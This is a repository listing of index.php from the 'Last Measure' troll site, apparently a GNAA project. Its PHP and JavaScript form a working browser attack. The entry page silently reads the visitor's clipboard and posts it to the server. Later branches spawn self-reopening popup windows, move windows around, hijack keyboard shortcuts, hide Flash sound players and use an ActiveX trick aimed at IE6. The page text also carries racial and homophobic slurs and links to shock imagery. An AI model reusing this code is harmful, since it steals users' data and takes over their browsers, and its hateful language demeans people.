source: trollforge/lastmeasure/index.php @ 85

Revision 85, 10.5 KB checked in by sam, 8 years ago (diff)
  • commented out shit
  • Property svn:keywords set to Id
Line 
1<?php
2include("include/browser.php");
3
4/* Browser features */
5$br = new Browser;
6$br_ie6 = ($br->Name == "MSIE" && $br->Version >= 6);
7
8/* Additional information */
9$send = $_POST['send'];
10$popup = $_GET['popup'];
11$procreate = $_GET['procreate'];
12$music = $_GET['music'];
13
14/* Print a random image name, with its 'image/' prefix. */
15$imagelist = array();
16$dh = opendir('images/');
17while(($file = readdir($dh)) != false) {
18  $ext = substr($file, -3);
19  if($ext == 'jpg' || $ext == 'gif') {
20    $imagelist[] = $file;
21  }
22}
23closedir($dh);
24function random_image() {
25   global $imagelist;
26   echo 'images/'.$imagelist[rand(0,count($imagelist)-1)];
27}
28
29function hey_everybody() { ?>
30  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
31  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
32          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
33          width="1" height="1" id="hey" align="">
34    <param name="movie" value="flash/hey.swf"></param>
35    <param name="quality" value="high"></param>
36    <embed src="flash/hey.swf" width="1" height="1" name="hey" align=""
37           type="application/x-shockwave-flash"
38           pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
39  </object>
40<?php
41}
42
43function move_around($w, $h) { ?>
44  <script>
45    var images = new Array;
46    <?php
47    global $imagelist;
48    echo "var imagecount = ".count($imagelist).";\n";
49    for($i = 0; $i < count($imagelist); $i++) {
50      echo "images[".($i+1)."] = 'images/".$imagelist[$i]."';\n";
51    } ?>
52
53    var delay = 10;
54    var step = .2;
55    var curstep = 0;
56
57    window.resizeTo(<?php echo "$w, $h";?>);
58    var centerX = (self.screen.width - document.body.clientWidth) / 2;
59    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
60    movew0w();
61
62    function movew0w() {
63      var j;
64      for (j = 0; j < 10; j++) {
65        curstep += step / 10;
66        var factorX = Math.sin(curstep * 6.1) * 0.9;
67        var factorY = Math.cos(curstep * 3.7) * 0.9;
68
69//        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
70//                    * (Math.sin(10+curstep/(10+j))+0.2)
71//                    * Math.cos((curstep + j*25)/10);
72//        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
73//                    * (Math.sin(10+curstep/10)+0.2)
74//                    * Math.cos((curstep + j*25)/10);
75        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
76      }
77      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
78      setTimeout("movew0w()", delay);
79    }
80  </script>
81<?php
82}
83
84function spawn_children() { ?>
85  <script>
86    function shellscript() {
87      open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?music=1','_blank','scrollbar=no');
88      // TODO: LOOP
89      open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no');
90    }
91
92    function main() {
93      x.DOM.Script.execScript(shellscript.toString());
94      x.DOM.Script.setTimeout("shellscript()");
95    }
96  </script>
97<?php
98}
99
100function divert_onload() { ?>
101  <script language="JavaScript">
102    <!--
103    var SymRealOnLoad;
104    var SymRealOnUnload;
105    var SymRealWinOpen;
106
107    function SymOnUnload() {
108      window.open = SymWinOpen;
109      if(SymRealOnUnload != null)
110        SymRealOnUnload();
111    }
112
113    function SymOnLoad() {
114      if(SymRealOnLoad != null)
115        SymRealOnLoad();
116      window.open = SymRealWinOpen;
117      SymRealOnUnload = window.onUnload;
118      window.onUnload = SymOnUnload;
119    }
120
121    SymRealOnLoad = window.onLoad;
122    window.onLoad = SymOnLoad;
123    //-->
124  </script>
125<?php
126}
127
128function activate_applets() { ?>
129  <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
130          align="middle" height="1" width="1">
131    <param name="ActivateApplets" value="1"></param>
132    <param name="ActivateActiveXControls" value="1"></param>
133  </object>
134<?php
135}
136
137?>
138<html>
139  <head>
140    <title>GNAA Last Measure Unified</title>
141    <script language="JavaScript">
142      <?php include("include/js.inc"); ?>
143    </script>
144    <link rel="icon" type="image/x-icon" href="/favicon.ico" />
145    <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico" />
146  </head>
147<?php
148
149    /*
150     *
151     *  First window ever, this should be our entry point
152     *
153     */
154
155    if(!$popup && !$send && !$procreate && !$music) { ?>
156    <body>
157      <?php include "include/goatse.php"; ?>
158      <form name="clip" method="post" action="index.php" style="display:none">
159        <input type="text" name="content">
160        <input type="hidden" name="send" value="1">
161        <input type="hidden" name="refer" value="<?php echo $refer; ?>">
162        <input type="hidden" name="user" value="<?php echo $user; ?>">
163        <input type="submit">
164      </form>
165      <script language="javascript">
166        // without this if statement check, it bombs out with an error
167        if (typeof clipboardData != 'undefined') {
168          var content = clipboardData.getData("Text");
169          document.forms["clip"].elements["content"].value = content;
170        }
171        document.forms["clip"].submit();
172      </script>
173    </body><?php
174
175    /*
176     *
177     *  This is still the first window, but we got the clipboard contents
178     *
179     */
180
181    } elseif($send) {
182      ?>
183<body background="<?php random_image();?>" bgcolor="#ffffff"
184      <?php if($br_ie6) { ?>onLoad="setTimeout('main()',100)" <?php } ?>
185      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
186  <?php move_around(800, 600);?>
187  <?php if($br_ie6) {
188          //activate_applets();
189          //spawn_children();
190          //divert_onload();
191        } //else { ?>
192  <table width="100%" height="100%">
193    <tr>
194      <td valign="middle">
195        <div align="center">
196          <a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a>
197          <br />
198          <br />
199          <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
200                  codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
201                  width="10" height="10">
202            <param name="movie" value="flash/first_opener.swf"></param>
203            <param name="quality" value="high"></param>
204            <embed src="flash/first_opener.swf" quality="high"
205                   pluginspage="http://www.macromedia.com/go/getflashplayer"
206                   type="application/x-shockwave-flash" width="10" height="10">
207            </embed>
208          </object>
209        </div>
210      </td>
211    </tr>
212  </table>
213  <?php //} ?>
214  <form>
215    <input type="submit" value="CLICK ME" name="CLICK ME"
216           style="width: 2000px; height: 2000px;
217                  background-image: url('<?php //random_image();?>');"
218           src="<?php //random_image();?>" height="300" width="300"
219           onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1');
220                        return true; }document.goatse.reset();movew0w();
221                        return true;"
222           onClick="if(is_ie) {showModelessDialog('index.php?procreate=1');
223                    return true; } movew0w();return true;"
224           onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1');
225                       return true; } else{procreate();}
226                       movew0w();return true;">
227<!-- RENDERS UGLILY ON IE
228    <img src="<?php random_image();?>"
229         onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1');
230                      return true; } procreate();movew0w();return true;"
231         onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1');
232                     return true; }">
233    <big><b>GNAA &gt; j00</b></big>
234    <br />
235    fristage postage is mine
236-->
237    <?php hey_everybody(); ?>
238<!--
239    <br>
240    Lastmeasure last measure last-measure nero institute
241-->
242  </form>
243  <form name="goatse" onReset="procreate();" onSubmit="procreate();" action="" id="goatse">
244    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
245  </form>
246</body><?php
247
248    /*
249     *
250     *  Window is a music helper window
251     *
252     */
253
254    } elseif($music) {
255      ?>
256<body onLoad="movewindow();"
257      onUnload="window.open('index.php?music=1','music','fullscreen=0');">
258  <?php move_around(10, 10); ?>
259  <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
260    <tr>
261      <td align="center" valign="middle"><?php hey_everybody();?></td>
262    </tr>
263  </table>
264</body><?php
265
266    /*
267     *
268     *  Window is a procreate window
269     *
270     */
271
272    } elseif($procreate) {
273      ?>
274<body bgColor="#ffffff"
275      onLoad="document.goatse.reset();movew0w();return true;bookmark();"
276      onKeyDown="altf4key();ctrlkey();delkey();"
277      onMouseOver="procreate();movew0w();">
278  <?php move_around(800, 600);?>
279  <h1>PROCREATING LAST MEASURE!!!</h1>
280  <h1>GNAA > j00</h1>
281  <h1>Fristage Postage is MINE.</h1>
282  <h1>EAT THIS, GOOGLE TOOLBAR.</h1>
283  fucking nigger operating system.. at least in fucking Firebird you don't
284  have to do this shit.
285  <?php hey_everybody(); ?>
286  <form name="goatse" action="#" ONreset="procreate(); return true;">
287  </form>
288</body>
289<?php
290
291    /*
292     *
293     *  Window is a popup
294     *
295     */
296
297    } elseif($popup) {
298      ?>
299<body background="<?php random_image();?>" bgColor="#ffffff"
300      onLoad="document.goatse.reset();movew0w();return true;bookmark();"
301      <?php if($br_ie6) { ?>onLoad="setTimeout('main()',100)"
302      <?php } else { ?>onUnload="window.open('index.php?popup=1', '<?php random_image();?>', 'fullscreen=0')"
303      <?php } ?>
304      onKeyDown="altf4key();ctrlkey();delkey();"
305      onMouseOver="procreate();movew0w();">
306  <?php move_around(800, 600);?>
307  <?php if($br_ie6) {
308          activate_applets();
309          spawn_children();
310          divert_onload();
311        } else { ?>
312  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
313          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
314          width="10" height="10">
315    <param name="movie" value="flash/second_opener.swf"></param>
316    <param name="quality" value="high"></param>
317    <!-- FIXME: see how flashvars can be given -->
318    <embed src="flash/second_opener.swf" quality="high"
319           pluginspage="http://www.macromedia.com/go/getflashplayer"
320           type="application/x-shockwave-flash" width="10" height="10"></embed>
321  </object>
322      <?php
323        } ?>
324  <form name="goatse" action="#" ONreset="procreate();return true;">
325    <img src="<?php random_image();?>"
326         onMouseOver="procreate();movew0w();return true;" />
327  </form>
328</body>
329      <?php
330    }
331?>
332</html>
Note: See TracBrowser for help on using the repository browser.